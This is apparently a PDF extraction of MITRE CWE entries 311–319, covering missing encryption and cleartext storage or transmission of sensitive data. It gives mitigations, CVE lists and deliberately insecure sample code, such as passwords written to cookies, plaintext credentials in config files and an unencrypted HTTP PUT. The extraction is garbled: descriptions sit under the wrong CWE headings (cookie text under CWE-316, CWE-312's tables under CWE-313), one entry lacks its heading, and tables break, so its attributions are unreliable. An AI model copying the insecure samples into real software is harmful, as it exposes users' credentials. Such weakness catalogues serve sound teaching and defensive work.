- Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.
Architecture and Design
Libraries or Frameworks
When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
For example, US government systems require FIPS 140-2 certification.
Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [R.311.5]

Architecture and Design
Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation
Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Implementation
Identify and Reduce Attack Surface
Defense in Depth
Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
This makes it easier to spot places in the code where data is being used that is unencrypted.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td>720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>816</td>
<td>OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td>818</td>
<td>OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-311: Missing Encryption of Sensitive Data

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>614</td>
<td>Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute</td>
<td>699</td>
</tr>
</tbody>
</table>

Relationship Notes
There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Failure to encrypt data</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A8</td>
<td>CWE More Specific</td>
<td>Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Insecure Communications</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A8</td>
<td>CWE More Specific</td>
<td>Insecure Storage</td>
</tr>
<tr>
<td>WASC</td>
<td>4</td>
<td></td>
<td>Insufficient Transport Layer Protection</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC00-J</td>
<td></td>
<td>Use SSLSocket rather than Socket for secure data exchange</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
</tr>
<tr>
<td>37</td>
<td>Retrieve Embedded Sensitive Data</td>
</tr>
<tr>
<td>65</td>
<td>Sniff Application Code</td>
</tr>
<tr>
<td>155</td>
<td>Screen Temporary Files for Sensitive Information</td>
</tr>
<tr>
<td>157</td>
<td>Sniffing Attacks</td>
</tr>
<tr>
<td>158</td>
<td>Sniffing Network Traffic</td>
</tr>
<tr>
<td>204</td>
<td>Lifting Sensitive Data Embedded in Cache</td>
</tr>
<tr>
<td>258</td>
<td>DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update</td>
</tr>
<tr>
<td>259</td>
<td>DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching</td>
</tr>
<tr>
<td>260</td>
<td>DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution</td>
</tr>
<tr>
<td>383</td>
<td>Harvesting Usernames or UserIDs via Application API Event Monitoring</td>
</tr>
<tr>
<td>384</td>
<td>Application API Message Manipulation via Man-in-the-Middle</td>
</tr>
<tr>
<td>385</td>
<td>Transaction or Event Tampering via Application API Manipulation</td>
</tr>
<tr>
<td>386</td>
<td>Application API Navigation Remapping</td>
</tr>
<tr>
<td>387</td>
<td>Navigation Remapping To Propagate Malicious Content</td>
</tr>
<tr>
<td>388</td>
<td>Application API Button Hijacking</td>
</tr>
<tr>
<td>389</td>
<td>Content Spoofing Via Application API Manipulation</td>
</tr>
<tr>
<td>477</td>
<td>Signature Spoofing by Mixing Signed and Unsigned Content</td>
</tr>
</tbody>
</table>

References
CWE-312: Cleartext Storage of Sensitive Information

Description

Summary
The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

Extended Description
Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
Confidentiality
Read application data
An attacker with access to the system could read sensitive information stored in cleartext.

Demonstrative Examples

Example 1:
The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example:
```java
response.addCookie( new Cookie("userAccountID", acctID);
```
Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2:
This code writes a user's login information to a cookie so the user does not have to login again later.

PHP Example:
```php
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```
CWE Version 2.11
CWE-312: Cleartext Storage of Sensitive Information

The code stores the user’s username and password in plaintext in a cookie on the user’s machine. This exposes the user’s login information if their computer is compromised by an attacker. Even if the user’s machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3:
The following code attempts to establish a connection, read in a password, then store it to a buffer.

C Example:

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Java Example:

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
   providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1536</td>
<td>Usernames/passwords in cleartext in cookies.</td>
</tr>
<tr>
<td>CVE-2001-1537</td>
<td>Default configuration has cleartext usernames/passwords in cookie.</td>
</tr>
<tr>
<td>CVE-2002-1696</td>
<td>Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.</td>
</tr>
<tr>
<td>CVE-2002-1800</td>
<td>Admin password in plaintext in a cookie.</td>
</tr>
<tr>
<td>CVE-2004-2397</td>
<td>Plaintext storage of private key and passphrase in log file when user imports the key.</td>
</tr>
<tr>
<td>CVE-2005-2160</td>
<td>Authentication information stored in cleartext in a cookie.</td>
</tr>
</tbody>
</table>
## CWE-313: Cleartext Storage in a File or on Disk

### Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-5778</td>
<td>login credentials stored unencrypted in a registry key</td>
</tr>
<tr>
<td>CVE-2008-0174</td>
<td>SCADA product uses HTTP Basic Authentication, which is not encrypted</td>
</tr>
<tr>
<td>CVE-2008-1567</td>
<td>storage of a secret key in cleartext in a temporary file</td>
</tr>
<tr>
<td>CVE-2008-6157</td>
<td>storage of unencrypted passwords in a database</td>
</tr>
<tr>
<td>CVE-2008-6828</td>
<td>product stores a password in cleartext in memory</td>
</tr>
<tr>
<td>CVE-2009-0152</td>
<td>chat program disables SSL in some circumstances even when the user says to use SSL.</td>
</tr>
<tr>
<td>CVE-2009-0964</td>
<td>storage of unencrypted passwords in a database</td>
</tr>
<tr>
<td>CVE-2009-1466</td>
<td>password stored in cleartext in a file with insecure permissions</td>
</tr>
<tr>
<td>CVE-2009-1603</td>
<td>Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption</td>
</tr>
<tr>
<td>CVE-2009-2272</td>
<td>password and username stored in cleartext in a cookie</td>
</tr>
</tbody>
</table>

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>549</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>816</td>
<td>OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage</td>
<td>1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>922</td>
<td>Insecure Storage of Sensitive Information</td>
<td>1353</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>1364</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>313</td>
<td>Cleartext Storage in a File or on Disk</td>
<td>557</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>314</td>
<td>Cleartext Storage in the Registry</td>
<td>559</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>315</td>
<td>Cleartext Storage of Sensitive Information in a Cookie</td>
<td>559</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>316</td>
<td>Cleartext Storage of Sensitive Information in Memory</td>
<td>560</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>317</td>
<td>Cleartext Storage of Sensitive Information in GUI</td>
<td>561</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>318</td>
<td>Cleartext Storage of Sensitive Information in Executable</td>
<td>562</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🟢</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Plaintext Storage of Sensitive Information</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>37</td>
<td>Retrieve Embedded Sensitive Data</td>
<td></td>
</tr>
</tbody>
</table>

### References


## CWE-313: Cleartext Storage in a File or on Disk

<table>
<thead>
<tr>
<th>Weakness ID: 313 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
</tbody>
</table>
Summary
The application stores sensitive information in cleartext in a file, or on disk.

Extended Description
The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Java Example:

```java
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

ASP.NET Example:

```xml
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
     providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1481</td>
<td>Cleartext credentials in world-readable file.</td>
</tr>
<tr>
<td>CVE-2002-1696</td>
<td>Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.</td>
</tr>
<tr>
<td>CVE-2004-2397</td>
<td>Cleartext storage of private key and passphrase in log file when user imports the key.</td>
</tr>
</tbody>
</table>

Relationships
**CWE-314: Cleartext Storage in the Registry**

**Description**

**Summary**
The application stores sensitive information in cleartext in the registry.

**Extended Description**
Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

**Terminology Notes**
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**
Confidentiality
Read application data

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2227</td>
<td>Cleartext passwords in registry key.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Plaintext Storage in Registry</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>37</td>
<td>Retrieve Embedded Sensitive Data</td>
</tr>
</tbody>
</table>

**CWE-315: Cleartext Storage of Sensitive Information in a Cookie**

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>37</td>
<td>Retrieve Embedded Sensitive Data</td>
</tr>
</tbody>
</table>

(CAPEC Version 2.10)
CWE Version 2.11
CWE-316: Cleartext Storage of Sensitive Information in Memory

Description

Summary
The application stores sensitive information in cleartext in a cookie.

Extended Description
Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example:
```
response.addCookie(new Cookie("userAccountID", acctID));
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1536</td>
<td>Usernames/passwords in cleartext in cookies.</td>
</tr>
<tr>
<td>CVE-2001-1537</td>
<td>Default configuration has cleartext usernames/passwords in cookie.</td>
</tr>
<tr>
<td>CVE-2002-1800</td>
<td>Admin password in cleartext in a cookie.</td>
</tr>
<tr>
<td>CVE-2005-2160</td>
<td>Authentication information stored in cleartext in a cookie.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>555</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Plaintext Storage in Cookie</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
</tr>
<tr>
<td>37</td>
<td>Retrieve Embedded Sensitive Data</td>
</tr>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
</tr>
<tr>
<td>74</td>
<td>Manipulating User State</td>
</tr>
</tbody>
</table>

CWE-316: Cleartext Storage of Sensitive Information in Memory

560
The application stores sensitive information in cleartext in memory.

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it. It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Sensitive authentication information in cleartext in memory.

Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.

SSH client does not clear credentials from memory.

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.
Summary
The application stores sensitive information in cleartext within the GUI.

Extended Description
An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- Language-independent

Operating Systems
- Windows (Sometimes)

Common Consequences
Confidentiality
Read memory
Read application data

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1848</td>
<td>Unencrypted passwords stored in GUI dialog may allow local users to access the passwords.</td>
</tr>
</tbody>
</table>

Relationships

Taxonomy Mappings

CWE-318: Cleartext Storage of Sensitive Information in Executable

Weakness ID: 318 (Weakness Variant) Status: Draft

Description

Summary
The application stores sensitive information in cleartext in an executable.

Extended Description
Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
**Languages**
- Language-independent

**Common Consequences**
**Confidentiality**
- Read application data

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1794</td>
<td>Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and MITM attacks.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Plaintext Storage in Executable</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>37</td>
<td>Retrieve Embedded Sensitive Data</td>
</tr>
<tr>
<td>65</td>
<td>Sniff Application Code</td>
</tr>
</tbody>
</table>

**CWE-319: Cleartext Transmission of Sensitive Information**

**Weakness ID:** 319 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

**Extended Description**
Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

**Time of Introduction**
- Architecture and Design
- Operation
- System Configuration

**Applicable Platforms**
**Languages**
- Language-independent

**Architectural Paradigms**
- Mobile Application

**Common Consequences**
Integrity
Confidentiality
Read application data
Modify files or directories

Anyone can read the information by gaining access to the channel being used for communication.

Likelihood of Exploit
Medium to High

Detection Methods
Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Demonstrative Examples

The following code attempts to establish a connection to a site to communicate sensitive information.

Java Example:

```java
Bad Code
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
} catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1852</td>
<td>Product transmits Blowfish encryption key in cleartext.</td>
</tr>
<tr>
<td>CVE-2005-3140</td>
<td>Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.</td>
</tr>
<tr>
<td>CVE-2007-4786</td>
<td>Product sends passwords in cleartext to a log server.</td>
</tr>
<tr>
<td>CVE-2007-4961</td>
<td>Chain: cleartext transmission of the MDS hash of password enables attacks against a server that is susceptible to replay (CWE-294).</td>
</tr>
<tr>
<td>CVE-2007-5626</td>
<td>Backup routine sends password in cleartext in email.</td>
</tr>
<tr>
<td>CVE-2008-0374</td>
<td>Printer sends configuration information, including administrative password, in cleartext.</td>
</tr>
<tr>
<td>CVE-2008-3289</td>
<td>Product sends password hash in cleartext in violation of intended policy.</td>
</tr>
<tr>
<td>CVE-2008-4122</td>
<td>Chain: Use of HTTPS cookie without &quot;secure&quot; flag causes it to be transmitted across unencrypted HTTP.</td>
</tr>
<tr>
<td>CVE-2008-4390</td>
<td>Remote management feature sends sensitive information including passwords in cleartext.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.
Implementation
When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Testing
